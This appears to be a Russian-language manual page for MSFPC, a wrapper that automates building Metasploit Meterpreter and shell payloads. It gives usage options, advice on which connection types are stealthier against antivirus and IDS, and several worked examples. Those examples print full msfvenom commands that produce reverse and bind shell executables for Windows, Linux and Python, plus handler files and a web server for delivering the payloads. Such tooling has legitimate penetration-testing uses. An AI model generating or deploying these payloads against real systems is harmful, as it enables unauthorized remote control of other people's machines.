MSFvenom Payload Creator (MSFPC) ИНСТРУКЦИЯ

MSFvenom Payload Creator (MSFPC)


Быстрый способ сгенерировать различные «базовые» полезные нагрузки Meterpreter через msfvenom (часть платформы Metasploit) .
MSFvenom Payload Creator (MSFPC), создатель полезной нагрузки MSFvenom, - это обёртка для создания нескольких типов полезной нагрузки на основе выбора пользователя. Идея в том, чтобы упростить насколько возможно (требуется только один ввод) создание полезной нагрузки.
Конечной целью является полная автоматизация msfvenom и Metasploit для упрощения жизни пользователя (меню выбора IP, ресурсного файла/команд msfconsole, пакетное создание полезной нагрузки и возможность вводить любые аргументы в любом порядке (в различных форматах/шаблонах).
От пользователя требуется только ввести только желаемую платформу для полезной нагрузки, либо расширение файла (напр., exe).
Примеры автоматизации:
  • Вместо IP интерфейса достаточно ввести его имя: eth0.
  • Вместо внешнего IP достаточно ввести wan (MSFPC самостоятельно определит внешний IP адрес).
  • Если нужно создать по одной каждой полезной нагрузке, то наберите loop.
  • Массовое создание полезных нагрузок — всё или по фильтрам: batch (для всего), batch msf (для каждой опции Meterpreter), batch staged (для каждой staged полезной нагрузки) или batch cmd stageless (для каждой stageless command prompt). Подробности о staged и stageless ниже.
Примечание: скрипт НЕ будет пытаться как-либо обойти антивирусные решения на какой-либо стадии.
Домашняя страница: https://github.com/g0tmi1k/mpc
Автор: g0tmi1k
Лицензия: MIT

Справка по MSFPC

Использование:
1
msfpc <ТИП> (<ДОМЕН/IP>) (<ПОРТ>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
В качестве <ТИПа> возможен следующий ввод:
  • APK
  • ASP
  • ASPX
  • Bash [.sh]
  • Java [.jsp]
  • Linux [.elf]
  • OSX [.macho]
  • Perl [.pl]
  • PHP
  • Powershell [.ps1]
  • Python [.py]
  • Tomcat [.war]
  • Windows [.exe // .dll]
Вместо указания <ДОМЕН/IP> вы можете ввести интерфейс и MSFPC определит его IP адрес.
При пропуске <ДОМЕН/IP> по умолчанию будет сделан переход в меню IP.
Пропуск <ПОРТа> установит значение по умолчанию 443.
<CMD> - это стандартная/родная команда оболочки/терминала для интерактивного взаимодействия.
<MSF> пользовательский кросс-платформенный шелл для получения всей мощи Metasploit.
Пропуск <CMD/MSF>, где это возможно, приведёт к дефолтному <MSF>.
Помните: Metasploit (ещё) не поддерживает <CMD/MSF> для формата любого <ТИПа>.
Полезная нагрузка <CMD> обычно меньше, чем <MSF> и проще для обхода EMET. Ограничивается поддержкой модулей пост модулей/скриптов Metasploit.
Полезная нагрузка <MSF> обычно больше чем <CMD>, поскольку она поставляется с большим количеством функций.
<BIND> открывает порт на стороне цели и атакующий к ней подключается. На целях часто заблокированы входящие соединения.
<REVERSE> заставляет цель подключиться к атакующему. Атакующему нужно открыть соответствующий порт.
Пропуск <BIND/REVERSE> установит по умолчанию <REVERSE>.
<BIND> позволяет атакующему подключиться когда он хочет. <REVERSE> требует от цели постоянно подключаться к атакующему для поддержания постоянного доступа.
<STAGED> разделяет полезную нагрузку на части, делая её меньше, но зависящей от Metasploit.
<STAGELESS> - это полностью самостоятельная полезная нагрузка. Более «стабильна», чем <STAGED>.
Пропуск <STAGED/STAGELESS>, когда это возможно, установит по умолчанию <STAGED>.
Помните: Metasploit (ещё) не поддерживает <STAGED/STAGELESS> для формата каждого <ТИПа>.
<STAGED> «лучше» в средах с низкой пропускной способностью и высокой задержкой.
<STAGELESS> считается «незаметнее» при обходе антивирусных защит. <STAGED> может работать «лучше» с IDS/IPS.
<TCP> это стандартный метод для подключения. Он наиболее совместим с ТИПАМИ как RAW. IDS могут легко его обнаружить.
<HTTP> делает связь похожей на HTTP трафик (не зашифрованный). Полезно при ограничении доступа, например, протоколом TCP 80.

<HTTPS> делает соединения похожими на (зашифрованный) с помощью SSL трафик HTTP. Полезно при контроле пакетов и ограничении доступа определёнными протоколами, например, TCP 443.
<FIND_PORT> попробует каждый порт на целевой машине в поиска выхода наружу. Полезно при фильтровании входящего/исходящего трафика файерволами. Переключиться на «allports» на основе <ТИПа>.
Пропуск <TCP/HTTP/HTTPS/FIND_PORT> установит по умолчанию <TCP>.
Изменение трафика на <HTTP>, а тем более на <HTTPS>, замедлит соединение и увеличит размер полезной нагрузки.
<BATCH> сгенерирует так много комбинаций, как это возможно: <ТИП>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> просто создаст по одной каждого <ТИПа>.
<VERBOSE> покажет больше информации.

Руководство по MSFPC

Страница man отсутствует.

Примеры запуска MSFPC

Полезная нагрузка для Windows и вручную указанный IP:
1
msfpc windows 192.168.1.10
Полезная нагрузка для Linux, IP адрес сетевого интерфейса eth0 и вручную указанный порт:
1
msfpc elf bind eth0 4444
Полезная нагрузка для Python, stageless command prompt:
1
msfpc stageless cmd py https
Полезная нагрузка каждого типа, используя IP адрес интерфейса eth1:
1
msfpc verbose loop eth1
Все возможные полезные нагрузки Meterpreter, используя WAN IP (внешний адрес)
1
msfpc msf batch wan
Полуинтерактивное создание Windows Meterpreter bind shell на порту 5555:

msfpc windows bind 5555 verbose
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Use which interface - IP address?:
 [i]   1.) lo - 127.0.0.1
 [i]   2.) eth0 - 172.16.193.160
 [i]   3.) wan - 68.151.240.61
 [?] Select 1-3, interface or IP address: 2

 [i]        IP: 172.16.193.160
 [i]      PORT: 5555
 [i]      TYPE: windows (windows/meterpreter/bind_tcp)
 [i]     SHELL: meterpreter
 [i] DIRECTION: bind
 [i]     STAGE: staged
 [i]    METHOD: tcp
 [i]       CMD: msfvenom -p windows/meterpreter/bind_tcp -f exe \
  --platform windows -a x86 -e generic/none  LPORT=5555 \
  > '/root/windows-meterpreter-staged-bind-tcp-5555.exe'

 [i] windows meterpreter created: '/root/windows-meterpreter-staged-bind-tcp-5555.exe'

 [i] File: PE32 executable (GUI) Intel 80386, for MS Windows
 [i] Size: 76K
 [i]  MD5: 5bdb434e053fa0a9894eb88720c09e2a
 [i] SHA1: 9d51c45c76dfd947994cb4be61f5f9797b35167f

 [i] MSF handler file: '/root/windows-meterpreter-staged-bind-tcp-5555-exe.rc'
 [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-bind-tcp-5555-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!
Автоматическая генерация полезной нагрузки Meterpreter под Windows с обратным соединением, используя IP интерфейса eth0 в качестве параметра LHOST:
msfpc windows eth0
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]   IP: 172.16.193.160
 [i] PORT: 443
 [i] TYPE: windows (windows/meterpreter/reverse_tcp)
 [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
  --platform windows -a x86 -e generic/none LHOST=172.16.193.160 LPORT=443 \
  > '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!
Полезная нагрузка в формате Linux, полностью автоматическое создание используя вручную указанный интерфейс и порт + подробный вывод:

msfpc elf bind eth0 4444 verbose
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]        IP: 192.168.103.142
 [i]      PORT: 4444
 [i]      TYPE: linux (linux/x86/shell/bind_tcp)
 [i]     SHELL: shell
 [i] DIRECTION: bind
 [i]     STAGE: staged
 [i]    METHOD: tcp
 [i]       CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
  --platform linux -a x86 -e generic/none  LPORT=4444 \
  > '/root/linux-shell-staged-bind-tcp-4444.elf'

 [i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'

 [i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
 [i] Size: 4.0K
 [i]  MD5: eed4623b765eea623f2e0206b63aad61
 [i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185

 [i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
 [i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!
Полезная нагрузка в формате Python, интерактивное меню IP:

msfpc stageless cmd py tcp
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Use which interface - IP address?:
 [i]   1.) eth0 - 192.168.103.142
 [i]   2.) lo - 127.0.0.1
 [i]   3.) wan - 31.204.154.174
 [?] Select 1-3, interface or IP address: 1

 [i]   IP: 192.168.103.142
 [i] PORT: 443
 [i] TYPE: python (python/shell_reverse_tcp)
 [i]  CMD: msfvenom -p python/shell_reverse_tcp -f raw \
  --platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
  > '/root/python-shell-stageless-reverse-tcp-443.py'

 [i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'

 [i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
 [i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Установка MSFPC

Установка в Kali Linux
sudo apt install -y msfpc
Установка в BlackArch

sudo pacman -S metasploit
sudo wget "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" -O /usr/local/bin/msfpc
sudo chmod 0755 /usr/local/bin/msfpc
msfpc -h
Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты MSFPC

скриншот